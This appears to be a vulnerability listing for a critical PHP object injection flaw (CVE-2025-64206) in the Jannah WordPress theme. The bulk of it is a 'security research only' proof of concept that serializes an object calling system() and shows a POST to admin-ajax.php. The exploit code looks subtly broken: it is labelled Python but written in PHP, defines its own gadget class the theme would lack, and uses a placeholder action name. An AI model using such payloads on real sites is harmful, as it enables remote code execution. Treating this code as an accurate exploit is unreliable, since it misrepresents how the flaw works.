Deserialization of Untrusted Data vulnerability in TieLabs Jannah jannah allows Object Injection.This issue affects Jannah: from n/a through <= 7.6.0.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Jannah <= 7.6.0 (所有版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// CVE-2025-64206 PoC - PHP Object Injection in Jannah Theme
// This PoC demonstrates the deserialization vulnerability
// Use responsibly and only on systems you have permission to test
class Jannah_Object_Injection {
public $callback;
public $args;
function __construct() {
// Placeholder for exploitation
}
function __wakeup() {
// Magic method triggered on deserialization
if (isset($this->callback)) {
call_user_func_array($this->callback, $this->args);
}
}
}
// Generate malicious serialized payload
$malicious_object = new Jannah_Object_Injection();
$malicious_object->callback = 'system'; // PHP function to execute
$malicious_object->args = ['id']; // Command to execute
$payload = serialize($malicious_object);
echo "Generated Payload:\n";
echo $payload . "\n\n";
// Example POST request to trigger vulnerability
// POST /wp-admin/admin-ajax.php
// Content-Type: application/x-www-form-urlencoded
// action=jannah_some_action&data=<base64_encoded_payload>
echo "Base64 Encoded Payload:\n";
echo base64_encode($payload) . "\n";
?>